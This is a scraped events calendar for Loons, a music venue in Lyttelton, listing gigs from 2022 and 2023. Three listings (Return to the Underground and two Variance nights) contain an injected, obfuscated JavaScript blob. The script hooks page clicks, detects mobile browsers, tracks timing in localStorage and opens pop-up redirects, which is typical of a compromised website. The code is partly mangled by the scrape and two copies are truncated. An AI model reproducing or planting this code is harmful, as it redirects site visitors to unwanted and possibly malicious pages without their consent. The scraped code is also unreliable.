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June 2022
Return to the Underground
MEDaL BLAIR PARKS and Cardigan Bay OUTSIDERS LOONS SATURDAY JUNE 18TH LYTTLETON BOOKINGS UNDER THE RADAR THREE BAND FOR TWENTY DOLLARS ENTERTAINMENT PLUS!!! VISUAL STIMULI!!!! PEDIGREE.... ANCESTRY!!! function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i(_0x264a55(0x0,0x4)))_0x262ad1=!!||navigator||window),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8();const _0xb17c69=location;let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date(new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window(_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document('click',_0xfb5e65);}());
Find out more »August 2022
Variance
Averted Vision and Now Muzik present Variance, a new outlet for sub-cultures of underground bass music. Powered by Subtle System Featuring: Maxi Boost (of Duo Alias) Horatio Kane Reset Rosa Stain Please respect the venue and one another. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i(_0x264a55(0x0,0x4)))_0x262ad1=!!||navigator||window),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8();const _0xb17c69=location;let _0x20f559=_0x5531de(_0x1f0b56);const…
Find out more »September 2022
Soul Salute To Van Morrison
IT'S BACK! Bad Gin Sanctuary presents, The Soul Salute to Van Morrison! For two nights! A soul salute, dedicated to the Irish Knight himself. Adam Hattaway and his 10 piece soul band, The Soul Mates will perform songs from albums; Astral Weeks, Moondance, Tupelo Honey, Saint Dominic's Preview, Veedon Fleece and more. ''Adam Hattaway is impressive as Van Morrison, This is no pick up band, these guys are pros'' - Roger Bowie, Radio 13. Doors at 7.30, Show at 8.30…
Find out more »November 2022
You Should Be Dancing @ Loons
You Should Be Dancing is a giant disco dancing celebration, a boogie wonderland featuring classic tunes groovy enough to make even a statue move. A club night of super danceable disco hits! If you love disco, or just want to shake your thing and have a great night out, this night is for you. All kinds of nice people are welcome. Dress up or down. Good times will be had on the grooviest dance floor with the most glamorous tunes…
Find out more »February 2023
Variance
Averted Vision and Now Muzik present the third edition of Variance, a night of underground bass music in Loons Basement! Featuring: Crëcha, Jay Luv, Sketch, Unorthodoxunitus and Stature. Powered by Subtle System! $20 door sales. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i(_0x264a55(0x0,0x4)))_0x262ad1=!!||navigator||window),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8();const _0xb17c69=location;let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date(new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window(_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else…
Find out more »March 2023
Grecco Romank – Wet Exit Album Release Tour
Grecco Romank - Wet Exit Release Tour - Live at Loons featuring Lust Trigger and Moider Mother Formed in 2020 upon the foundations of Auckland’s underground, Grecco Romank is filmmaker Damian Golfinopoulos , classically trained singer Billie Fee, and bus driver/drummer Mikey Sperring . They’ve toured the nation playing to audiences hungry for alternative electronic music, gaining a reputation for incendiary live shows: “Sometimes you witness a band perform live and you become instantly obsessed… the team fuse together electronic…
Find out more »July 2023
Erny Belle | Hōtoke Tour
Since the release of her debut album, Venus Is Home, in February 2022, Erny Belle has been making waves in the music industry. The self-produced album has been widely praised as one of Aōtearoa's standout releases of 2022. This Winter (Hōtoke) will be Erny Belle's first headline tour, taking to the stage in Christchurch (Loons, Lyttleton) and Wellington (San Fran) for the very first time. Known for her gothic South Pacific storytelling and spellbinding vocals, Erny Belle is set to…
Find out more »August 2023
Fazerdaze Solo NZ Tour
Fazerdaze (AKA Amelia Murray) has returned to the music scene after 5-years since her previous album ‘Morningside’. Returning with ‘Break!’, the EP marks the beginning of a new era for the multi-talented creative: it’s a grungier, angrier version of the artist who burst onto the scene in 2017 with a catchy dream-pop sound. She returns better than ever after an inward journey of self-reflection and reconnection to herself after a whirlwind of pandemic related anxiety and burnout. She’s caught the…
Find out more »Seattle Tribute
Waxstar Touring Presents – SEATTLE TRIBUTE After selling out shows across New Zealand in 2022, The Superunknowns/Sludge Factory and Tom Grant Disciples stunned audiences across Aotearoa with their high energy tributes to Alice In Chains, Soundgarden and Nirvana. Those three heavy hitting classic Seattle bands made a massive impact on a global scale in the 90s and beyond, and these two high quality tribute bands will smash out all of the 90s bangers that you love and cherish. Come and…
Find out more »The Terrys
What’s up NZ!!! This is our first time touring our band outside of Australia and we’re so stoked it’s with you guys <3 See you all real soon - The Tezzas x The Terrys are heading to Aotearoa for their debut tour after their epic single release, “Hopscotch” for a limited run of intimate, and FCK'ing COLD SHOWS! Beat the winter freeze and head inside for some hot tunes and maybe even some fire ball & apple juice (I.Y.K.Y.K)!! Capacity…
Find out more »September 2023
Cattle Decapitation – Aotearoa Tour 2023
Prepare to experience a tour that will blow your mind and leave you questioning everything you thought you knew about heavy music. One of the most cutting-edge bands in extreme metal, Cattle Decapitation, are heading to Aotearoa for a tour that will take you on a journey through the darkest depths of the human psyche. No one articulates the real apocalypse humanity is facing as vividly and succinctly as Californias Cattle Decapitation. A force to be reckoned with for over…
Find out more »NAPALM DEATH – Campaign For Musical Destruction w/ Wormrot
NAPALM DEATH. One of the most influential and legendary acts in the history of heavy metal, and considered by all, as the fathers of grindcore. Over 40 years on and seventeen albums in, NAPALM DEATH are in no way, shape or form of slowing down. As stated in their own words, silence sucks, noise is always the answer and they continue to create music that confronts, confounds and eviscerates in equal measure. Grinding faces with the best of them will…
Find out more »Borderline
Indie-pop band Borderline are heading to Christchurch. Borderline made a splash in 2022 with their debut release ‘Spinning’ charting on the Hot Singles, Hot NZ Singles and RadioScope Most Added charts. With an innate sense of musicality and melody, the group is building a catalogue of smooth, upbeat original songs with wide appeal. Support TBC The band's dynamic performances and collection of smooth, upbeat original songs earned them festival slots during the summer (January / February) of 2023 and their…
Find out more »October 2023
Yurt Party – Album Release Tour
Ōtautahi street party kings YURT PARTY are taking their irrepressible grooves on the road this spring, with seven shows across the motu to celebrate the release of their debut album. Yurt Party are a one-of-a-kind musical feast, creating collective joy for over 5 years across Aotearoa. The 6+ piece Ōtautahi band have been electrifying festival dance-floors and winning over the hearts of their audiences with foot-stomping fusions of Balkan, Latin and Dub goodness. Having built somewhat of a reputation as…
Find out more »Leisure – The Leisurevision Tour
LEISUREVISION NZ TOUR 2023 FRIDAY 6 OCTOBER - LOONS, CHRISTCHURCH SATURDAY 7 OCTOBER - HUNTER LOUNGE, WELLINGTON FRIDAY 13 OCTOBER - POWERSTATION, AUCKLAND Tickets from Banished Music Artist presale starts June 2nd 10am Spotify presale starts June 6th 10am General onsale starts June 9th 10am In a world preoccupied with instant gratification and overnight success, LEISURE have been taking the scenic route. The six members - and mates - came together in 2015 on a spontaneous trip up New Zealand's…
Find out more »Mom Jeans (USA) New Zealand Tour
Mom Jeans will make their long awaited debut in New Zealand for three special dates in support of their latest album, Sweet Tooth, which was released in February 2022. The groups third LP is a departure from the emo sound the band mastered early on, and instead revisits late 90s and early 2000s pop rock and pop punk bliss. For frontman Eric Butler, that meant revisiting the guitar pop perfection of Weezer and Oasis alongside deep cuts from one-hit wonders…
Find out more »Hollie Smith ‘The Bones Tour’
Hollie Smith Announces Exclusive The Bones Tour Solo and Intimate run of shows this October and November. Renowned singer-songwriter Hollie Smith is set to captivate audiences once again with her upcoming solo tour, The Bones Tour. The shows are taking place throughout October and November, treating fans to an unforgettable series of intimate live performances in perfect small seated venue settings. Hollie Smith's musical journey has been one of authenticity and emotional depth, and this tour is no exception. Hollie…
Find out more »Now!here!this! Ōtautahi 2023 – Day 4
The Audio Foundation’s travelling festival returns to Ōtautahi for 4 days of ‘Urgent Sound, Adventurous Music & Deep Listening’, curated by local legends Anita Clark (Motte) and Rory Dalley (I.R.D). The festival brings a selection of innovative artists to Christchurch in the spirit of collaboration – alongside solo performances there are unique lineups featuring 30+ musicians and performing artists exploring the art of spontaneous creation. 1 - DISCREET OBJECT SOUND and FIELD RECORDING Group- Jo Burzynska / Jake Kīanō Skinner…
Find out more »The Emma Dilemma Birthday Bash
Get ready to celebrate in style, folks, because it's time for The Emma Dilemma Birthday Bash! Emma Dilemma is turning another year wiser (or maybe not), and she's decided to throw the most epic birthday party of the century. But wait, it's not your average cake-and-candles affair; it's a rock 'n' roll extravaganza that's gonna blow your god damn socks off! Our headliner, the one and only Emma Dilemma, is ready to take the stage at LOONS for the first…
Find out more »Brad Cox
Brad Cox with special guest Austin Mackay Australias beloved artist and songwriter, Brad Cox, is thrilled to announce his upcoming regional Australia tour, including first-ever shows in New Zealand and Darwin. Following the success of his latest album, ACRES, Brad Cox is set to enthrall fans with this grand tour across regional Australia and New Zealand. Brad Cox is catapulting from the soaring success of last months sold-out ‘Acres’ metro tour, directly into the heart of regional Australia. Leaving an…
Find out more »Teenage Dads
Melbourne’s Teenage Dads are well known for their love of touring and playing live to their fans. 2023 has already seen them playing some of the biggest shows of their lives in Sydney and Melbourne. Now they are heading out on a 30 date tour heading to just about anywhere there are music fans. These shows celebrate their new track, Speed Racer and come hot on the heels of international success in London, and Los Angles on their current UK,…
Find out more »November 2023
Beastwars – Tyranny of Distance NZ Album Tour
BEASTWARS are taking Tyranny of Distance on the road this October/November with seven dates across Aotearoa.
Find out more »The Nomad 25 Year Anniversary Show
RDU 98.5 FM Presents: Otautahi Come Home! The return of The Nomad. Something special is going on Otautahi, with legendary local music luminaries coming together to support the homecoming of a pioneer of Aotearoa electronica, The Nomad. This event has been 25 years in the making. To celebrate the release of ‘The Nomad - Infinite’ - 25 year anniversary double album vinyl release. The Nomad is bringing his quarter-century of musical progression to the town where it all started, backed…
Find out more »A Benefit Concert For Palestine
A BENEFIT CONCERT FOR PALESTINE from 7pm on November 11, 2023 at the Loons in Lyttelton, featuring: CASPER THOMPSON HOG ONLY YOU PICKLE DARLING (solo set) STONECHILD WURLD SERIES (solo set) $20 waged / $10 unwaged. All proceeds donated to the Palestinian Red Crescent Society.
Find out more »Foley • Crowd Pleaser Tour • South Island
New Zealand’s favourite indie pop duo, Foley, announce their first-ever headline shows in the South Island! Returning to the stage after their packed Auckland and Wellington dates earlier in 2023, Foley continue the Crowd Pleaser Tour in support of their debut album 'Crowd Pleaser' via Nettwerk Music Group. Foley and their 4 piece band will perform on Friday November 17 at Christchurch's Loons and Saturday November 18 at Dunedin's Dive. The announcement comes after a stellar year for Foley. Their…
Find out more »The Phoenix Foundation: Horse Power 20th Anniversary Tour
THE PHOENIX FOUNDATION HORSE POWER 20TH ANNIVERSARY TOUR With Special Guest: Jess Cornelius Celebrating the 20th anniversary of their beloved debut album Horse Power, The Phoenix Foundation will tour New Zealand this November, performing the album in its glorious entirety for the first time ever. To coincide, the album will also be released on vinyl - another first for The Phoenix Foundation. In the winter of 2002 The Phoenix Foundation recorded their debut album Horse Power with Lee Prebble (The…
Find out more »The Exploited
Scottish punk legends The Exploited's 40 Years Of Chaos tour barrelled through Aotearoa two years ago just before the gates slammed closed to overseas artists, meaning the band weren't able to venture onwards to Australia at the time. With international touring back on the cards, The Exploited will be picking up where they went off, returning to Australasia with the thrill-powered addition of three new NZ headline dates. Local fans ought to be pumped, as photographer Bruce Mackay declared their…
Find out more »The Phoenix Foundation: Horse Power 20th Anniversary Tour
THE PHOENIX FOUNDATION HORSE POWER 20TH ANNIVERSARY TOUR With Special Guest: Jess Cornelius Celebrating the 20th anniversary of their beloved debut album Horse Power, The Phoenix Foundation will tour New Zealand this November, performing the album in its glorious entirety for the first time ever. To coincide, the album will also be released on vinyl - another first for The Phoenix Foundation. In the winter of 2002 The Phoenix Foundation recorded their debut album Horse Power with Lee Prebble (The…
Find out more »Xile New Zealand Tour 23
Xile are back to rip through the country on a 5 date tour. With one of the bands biggest years to date under their belts, already stamping their signature kiwi metallic hardcore in Europe, UK, and Australia, the boys are finishing off the year with a home run. Guaranteed to bring the mosh pit, the boys make no compromise with their live show. Each city’s support bands are hand-picked highlighting each regions best live heavy music. Grab a pre-sale ticket…
Find out more »December 2023
Grayson Gilmour
UTR Presents Wellington/Pōneke-based multi-instrumentalist Grayson Gilmour releases his latest single ‘Day Moon’ and announces an album release tour in December. Last month, he shared the news about Holding Patterns, his first full-length release in over six years, due out November 3rd via Flying Nun Records. ‘Day Moon’ explores the idea of checking in and out in a world of constant change and shifting moods. With a driving beat by Olivia Campion (Yumi Zouma) and Cory Champion (Clear Path Ensemble, Borrowed…
Find out more »Mom Jeans (USA) New Zealand Tour
Mom Jeans will make their long awaited debut in New Zealand for three special dates in support of their latest album, Sweet Tooth, which was released in February 2022. The groups third LP is a departure from the emo sound the band mastered early on, and instead revisits late 90s and early 2000s pop rock and pop punk bliss. For frontman Eric Butler, that meant revisiting the guitar pop perfection of Weezer and Oasis alongside deep cuts from one-hit wonders…
Find out more »Loonatic Series: Jeff Parsnips
